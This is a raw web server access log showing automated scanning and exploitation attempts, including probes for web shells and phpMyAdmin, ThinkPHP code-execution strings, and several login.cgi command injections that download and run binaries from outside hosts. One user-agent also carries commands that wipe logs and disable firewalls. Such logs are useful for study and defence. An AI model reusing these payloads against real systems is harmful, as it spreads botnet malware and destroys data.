47.89.225.94 - - [19/Feb/2020:15:11:08 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:10 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:10 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:11 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:11 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:12 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:14 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:14 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:15 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:15 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:16 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:18 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:18 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:19 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:19 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:20 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:21 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:22 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:22 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:23 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:23 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:24 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:26 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:26 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:27 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:27 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:28 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:30 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:30 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:31 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:31 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:32 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:34 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:34 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:35 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:35 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:36 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:37 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:38 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:38 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:39 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:39 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:40 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:42 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:42 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:43 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:43 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:44 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:11:46 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:11:46 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
45.79.129.215 - - [19/Feb/2020:15:12:44 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
78.186.153.65 - - [19/Feb/2020:15:12:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.186.153.65 - - [19/Feb/2020:15:12:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:15:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [19/Feb/2020:15:13:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.231.221 - - [19/Feb/2020:15:14:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
73.32.140.239 - - [19/Feb/2020:15:15:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [19/Feb/2020:15:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.228.101.218 - - [19/Feb/2020:15:15:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.228.101.218 - - [19/Feb/2020:15:15:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [19/Feb/2020:15:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.228.101.218 - - [19/Feb/2020:15:17:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.228.101.218 - - [19/Feb/2020:15:17:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [19/Feb/2020:15:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.228.101.218 - - [19/Feb/2020:15:17:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
47.89.225.94 - - [19/Feb/2020:15:18:19 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:18:19 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:18:20 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.228.101.218 - - [19/Feb/2020:15:21:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [19/Feb/2020:15:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:21:54 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:21:56 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:21:57 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:21:58 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:21:58 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:21:59 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:02 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:02 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:03 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:03 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:04 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:04 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:05 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:05 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:06 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:06 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:10 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:10 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:14 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:14 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:30 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:32 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:34 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:34 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:36 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:38 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:38 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:39 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:42 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:42 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:43 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:22:46 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:46 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:47 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
